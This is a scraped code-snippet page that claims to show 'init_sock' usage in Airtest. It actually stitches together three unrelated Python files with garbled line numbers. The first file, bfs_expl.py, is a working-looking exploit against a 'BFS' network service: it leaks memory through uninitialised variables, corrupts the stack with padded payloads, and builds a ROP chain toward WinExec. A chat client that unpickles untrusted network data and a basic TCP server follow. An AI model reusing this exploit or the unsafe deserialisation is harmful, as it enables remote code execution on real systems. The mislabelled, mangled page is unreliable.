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How to use init_sock method in Airtest

Best Python code snippet using Airtest

bfs_expl.py

Source:bfs_expl.py

...7#PAYLOAD_SIZE = 0xF00-0x14 8CONNECTION_COUNT = 09def tohex(val, nbits):10  return hex((val + (1 << nbits)) % (1 << nbits))11def init_sock(bWait=True, iTime=0.2):12	global CONNECTION_COUNT13	s = socket.socket()14	#s.settimeout(3000)15	s.connect(("192.168.213.128", 12321))16	CONNECTION_COUNT = CONNECTION_COUNT + 117	if bWait:18		time.sleep(iTime)19	return s20def echo_hello(msg):21	print("sending hello msg")22	#t = random.uniform(0, 1.5)23	s = init_sock(True)24	25	data = msg	26	27	data_size = len(data)28	header    = b'BFS.' + struct.pack("<L", data_size)29	time.sleep(random.random()+1)30	s.send(header)31	time.sleep(random.random()+1)32	s.send(data)33	time.sleep(random.random()+1)34	buff = s.recv(0x1000)35	if len(buff) == data_size:36		print(buff)37		38	time.sleep(random.random()+1)39	s.close()40	41	return buff42	43def leak_data():44	s = init_sock()45		46	data  = b'\x90' * 0xD047	data += b'AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJKKKKLLLL'48	data += struct.pack("<L", 0x00000F00)49	# g_stack_depth (DWORD) 50	# g_stack_array (QWORD ARRAY: E1, E2)51	data_size = len(data)52	header    = b'BFS.' + struct.pack("<L", 0xFF)53	s.send(header)54	s.send(data)55	s.recv(0x1000)56	s.close()57	58	s = init_sock()59		60	data  = b'\x90' * 0xD0	61	data_size = len(data)62	#print(data_size)63	header    = b'BFS.' + struct.pack("<L", 0x100)64	s.send(header)65	s.send(data)66	buff = s.recv(0x1000)67	#print(buff)68	s.close()		69		70	return buff[0x100:]71def clean_uninit():	72	s = init_sock()73	data  = b'\x00' * 0x10074	data_size = len(data)75	76	header    = b'BFS.' + struct.pack("<L", 0xFF)77	s.send(header)78	time.sleep(random.random()+0.1)79	s.send(data)80	time.sleep(random.random()+0.1)81	buff = s.recv(0x1000)82	s.close()83	84def clean_uninit2():85	s = init_sock()86	data  = b'\x90' * 0xD087	data += b'AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJKKKKLLLL'88	data += struct.pack("<L", 0x00000000)89	# g_stack_depth (DWORD) 90	# g_stack_array (QWORD ARRAY: E1, E2)91	data_size = len(data)92	#print(data_size)93	header    = b'BFS.' + struct.pack("<L", 0xFF)94	s.send(header)95	time.sleep(random.random()+0.1)96	s.send(data)97	time.sleep(random.random()+0.1)98	buff = s.recv(0x1000)99	s.close()100def get_msg():101	data = b'https://distintas.net/camila-nicole'102	#padding = b"0x61" * random.randint(0, 0xD0 - len(data))103	#msg = data + padding104	return data105	106def confirm_cleanup():107	print("Attempting to clean the uninit var")108	109	resp = echo_hello(get_msg())110	111	while len(resp) > 0x200:112		print("cleanup-1")113		clean_uninit()114		115		print("cleanup-2")116		clean_uninit2()	117			118		try:			119			resp = echo_hello(get_msg())120		except:121			pass122		123def prepare_for_corruption():124	#for i in range(2):125	s = init_sock()126	data      = b'\x90' * 0xD0127	data += b'AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJKKKKLLLL'128	data += struct.pack("<L", 0x0000014 + PAYLOAD_SIZE)129	# g_stack_depth (DWORD) 130	# g_stack_array (QWORD ARRAY: E1, E2)131	data_size = len(data)132	#print(data_size)133	header    = b'BFS.' + struct.pack("<L", 0xFF)134	s.send(header)135	time.sleep(0.2)136	s.send(data)137	time.sleep(0.2)138	s.recv(0x1000)139	s.close()140	141	142def prepare_for_socket_leak():	143	s = init_sock()144	data      = b'\xFF' * 0xD0145	data += b'AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJKKKKLLLL'146	# 0x21 coz 0xFF is what we're sending in the header147	data += struct.pack("<L", 0x000020) # uninit val 148	# g_stack_depth (DWORD) 149	# g_stack_array (QWORD ARRAY: E1, E2)150	data_size = len(data)151	#print(data_size)152	header    = b'BFS.' + struct.pack("<L", 0xFF)153	s.send(header)154	s.send(data)155	#print(s.recv(0x1000))156	s.close()157	158	159def clean2():160	161	for i in range(2):162		s = init_sock()163		data  = b'\x90' * 0x100164		165		# g_stack_depth (DWORD) 166		# g_stack_array (QWORD ARRAY: E1, E2)167		data_size = len(data)168		#print(data_size)169		header    = b'BFS.' + struct.pack("<L", 0x100)170		s.send(header)171		s.send(data)172		buff = s.recv(0x1000)173		s.close()174		175	for i in range(2):176		s = init_sock()177		data  = b'\x90' * 0x10178		179		# g_stack_depth (DWORD) 180		# g_stack_array (QWORD ARRAY: E1, E2)181		data_size = len(data)182		#print(data_size)183		header    = b'BFS.' + struct.pack("<L", 0x1000)184		s.send(header)185		s.send(data)186		buff = s.recv(0x1000)187		s.close()188		189	190	for i in range(2):191		s = init_sock()192		data  = b'\x90' * 0xD0193		data += b'AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJKKKKLLLL'194		data += struct.pack("<L", 0x00000000)195		# g_stack_depth (DWORD) 196		# g_stack_array (QWORD ARRAY: E1, E2)197		data_size = len(data)198		#print(data_size)199		header    = b'BFS.' + struct.pack("<L", 0xFF)200		s.send(header)201		s.send(data)202		buff = s.recv(0x1000)203		s.close()204		205	206def leak_socket():207	s = init_sock()208	209	data = b'C' * 0x100210	data += struct.pack("<L", 0xFFFFFF01) # This is for uninit and also for g_stack_depth211	data += b'C' * (0x120 - len(data))212	213	data_size = len(data)214	header    = b'BFS.' + struct.pack("<L", 0x100)215	s.send(header)	216	s.send(data)217	hexdump.hexdump(s.recv(0x1000))218	s.close()219def exploit(bfsc_base, winexec_addr):220	global CONNECTION_COUNT221	s = init_sock()222	223	# ROP HERE (0x100 max!) (or less) -> change the space above224	FILLER = b'\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xEE'225	data      = b'\xCC' * 0x100 # SIZE SPECIFIED IN THE HEADER226	227	228	data      += struct.pack("<L", 0xFFFFFF01)229	data      += struct.pack("<Q", 0xC4F3B4B3C4F3B4B3)230	231	#data      += struct.pack("<Q", 0x4242424242424242)232	233	234	rop  = struct.pack("<Q", bfsc_base + 0x684D) # pop rbx ; ret235	...

client.py

Source:client.py

...4import time5import threading6import traceback7from utils.dict import MSG_TEMPLATE, PRESENSE, QUIT8def init_sock():9    """ 10    Initializate tcp/id socket11    """12    s = socket(AF_INET, SOCK_STREAM)13    s.connect(('', 7777))14    return s15T16def receiver(sock):17    """18    start receiver thread19    """20    while True:21        try:22            message = sock.recv(1024)23            message = pickle.loads(message)24            print('from: ',message)25        except Exception as e:26            print('Client error: ', traceback.format_exc())27            sock.close()28            break29def writer(sock):30    """31    start writer thread32    """33    while True:34        message = f'alie: {input()}'35        sock.send(pickle.dumps(message))36def main(sock):37    """38    Start all threads39    """40    write_thread = threading.Thread(target=receiver, args=(sock,))41    write_thread.start()42    receiver_thread = threading.Thread(target=writer, args=(sock,))43    receiver_thread.start()44if __name__ == '__main__':...

tcpServer.py

Source:tcpServer.py

...5		self.addr = (host, port)6		self.buffer = buffer7		self.tcpSocket = None8	9	def init_sock(self):10		self.tcpSocket = socket(AF_INET, SOCK_STREAM)11		self.tcpSocket.bind(self.addr)12		self.tcpSocket.listen(20)13	def communicate(self):14		try:15			while True:16				client_sock , client_addr = self.tcpSocket.accept()17				print('conncet from %s' % (client_addr,))18				while True:19					data = client_sock.recv(self.buffer)20					if not data:21						client_sock.close()22						print('connect end')23						break24					client_sock.send('[%s] : %s' % (ctime(), 'hello'))25					#client_sock.close()26		except (EOFError, KeyboardInterrupt):			27			self.tcpSocket.close()28if __name__ == '__main__':29	ts = TCPServer()30	ts.init_sock()31	ts.communicate()...

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